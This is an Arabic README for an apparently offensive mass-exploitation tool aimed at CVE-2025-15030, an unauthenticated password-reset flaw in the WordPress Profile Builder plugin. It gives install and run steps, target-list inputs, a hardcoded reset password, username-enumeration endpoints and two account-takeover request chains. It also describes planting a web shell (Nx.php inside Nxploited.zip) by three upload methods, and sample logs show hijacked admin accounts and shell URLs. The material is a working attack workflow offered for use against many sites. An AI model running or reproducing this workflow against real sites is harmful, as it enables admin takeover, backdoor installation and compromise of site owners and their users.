
User Profile Builder < 3.15.2 - إعادة تعيين كلمة مرور عشوائية بدون مصادقة
مُنشئ ملفات تعريف المستخدمين < 3.15.2 - إعادة تعيين كلمة المرور التعسفية دون مصادقة
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 خطير — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| الإضافة | مُنشئ ملفات تعريف المستخدمين لووردبريس |
| المتأثر | جميع الإصدارات قبل 3.15.2 |
| المصادقة | لا يتطلب مصادقة |
| النوع | إعادة تعيين كلمة مرور غير صحيحة — الاستيلاء على الحساب دون مصادقة |
| CWE | CWE-640 · آلية استرداد كلمة مرور ضعيفة |
السبب الجذري:
لا يقوم تدفق استرداد كلمة المرور في إضافة Profile Builder (action2=recover_password2) بالتحقق بشكل صحيح من مفتاح إعادة التعيين أو فرض انتهاء صلاحية الرمز. من خلال إرسال طلب POST مُصمم يحتوي على password_recovery_nonce_field2 صالح مستخرج من صفحة إعادة التعيين، يمكن لمهاجم غير مصادق تعيين كلمة مرور جديدة لأي مستخدم ووردبريس — بما في ذلك المسؤولين — مع معرفة اسم المستخدم فقط. لا يلزم أي تفاعل عبر البريد الإلكتروني أو رمز إعادة تعيين صالح.
تنفذ هذه الأداة سلسلتي هجوم مستقلتين ضد كل هدف، تتبعهما نشر شيل اختياري:
┌────────────────────────────────────────────────────────────────────┐
│ السلسلة 1 · النواة (استغلال إعادة التعيين الأصلي لـ wp-login) │
│ │
│ POST /wp-login.php?action=lostpassword (تشغيل إعادة التعيين) │
│ GET /wp-login.php?action=rp&key=... (متابعة رابط إعادة التعيين) │
│ POST /wp-login.php?action=resetpass (حقن كلمة مرور جديدة) │
│ تعداد أسماء المستخدمين → محاولة تسجيل دخول صارمة → تحقق من /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ السلسلة 2 · PB (إعادة تعيين Profile Builder من الرابط) │
│ │
│ تحميل روابط إعادة التعيين من pb_reset_links.txt │
│ GET <reset_url> → استخراج nonce + userData │
│ POST action2=recover_password2 → تعيين كلمة مرور جديدة │
│ تسجيل دخول صارم → تحقق من الوصول إلى /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ رفع الشيل (يعمل بعد أي إصابة مؤكدة للمسؤول) │
│ │
│ الطريقة 1 → رفع عبر plugin-install.php (Nxploited.zip) │
│ الطريقة 2 → REST API /wp-json/wp/v2/plugins │
│ الطريقة 3 → محرر الإضافة/القالب (كتابة Nx.php مباشرة) │
│ التحقق → GET /wp-content/plugins/Nxploited/Nx.php │
│ التسجيل → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
ضع Nxploited.zip في نفس الدليل الذي يوجد به السكربت لتمكين رفع الشيل. تعمل الأداة بدونه لكن سيتم تخطي نشر الشيل.
python3 CVE-2025-15030.py
ملف قائمة الأهداف (رابط واحد لكل سطر): list.txt
الخيوط (المواقع المتزامنة) [5]: 5
مهلة HTTP (ثوانٍ) [10]: 10
ملف الإخراج لنجاحات إعادة تعيين wp-login الأساسية: scan_results/wp_login_reset_success.txt
ملف الإخراج لشيلات Nxploited: scan_results/shells.txt
ملف روابط إعادة تعيين Profile Builder (اختياري): pb_reset_links.txt
كلمة المرور المستخدمة لجميع محاولات إعادة التعيين وتسجيل الدخول ثابتة داخليًا:
Nxploited_adminSA
list.txt — الأهداف (مطلوب)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — روابط إعادة تعيين Profile Builder (اختياري)إذا كنت قد التقطت روابط إعادة تعيين كلمة المرور عبر البريد الإلكتروني من Profile Builder، الصقها هنا سطرًا واحدًا لكل رابط. ستقوم الأداة بـ:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
تكتشف الأداة تلقائيًا أسماء مستخدمي ووردبريس باستخدام ثلاث طرق قبل محاولة تسجيل الدخول:
| الطريقة | النقطة النهائية |
|---|---|
| إعادة توجيه المؤلف | /?author=1 → /?author=10 |
| REST API | /wp-json/wp/v2/users |
| الاستدلال على اسم المضيف | التسمية الأولى لاسم النطاق |
| الاحتياطي الافتراضي | يتم تضمين admin دائمًا |
يتم التحقق من كل محاولة تسجيل دخول بدقة قبل كتابة النتائج. تتحقق الأداة من:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → مؤشر users.php
/wp-admin/plugins.php → مؤشر plugins.php
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
يتم كتابة النتيجة على القرص فقط عند تأكيد ≥ 3 علامات مسؤول.
بعد تأكيد جلسة المسؤول، تحاول الأداة ثلاث طرق تصعيد بالترتيب:
| الطريقة | النقطة النهائية | المشغل |
|---|---|---|
| رفع الإضافة | /wp-admin/update.php?action=upload-plugin | رفع Nxploited.zip عبر نموذج التثبيت |
| REST API | /wp-json/wp/v2/plugins | POST مباشر لملف ZIP |
| كتابة المحرر | /wp-admin/plugin-editor.php | كتابة Nx.php عبر محرر الملفات |
التحقق من الشيل: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| الملف | المحتويات |
|---|---|
scan_results/wp_login_reset_success.txt | إصابات المسؤول المؤكدة عبر سلسلة النواة |
scan_results/shells.txt | روابط الشيل المنشورة مع بيانات الاعتماد |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
| العمود | المعنى |
|---|---|
KEY | تم بدء تدفق إعادة التعيين بنجاح |
RESET | قبل الخادم كلمة المرور الجديدة |
ACCESS | عدد عمليات تسجيل الدخول المؤكدة للمسؤول |
SHELL | OK إذا تم تأكيد أن Nx.php نشط |
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited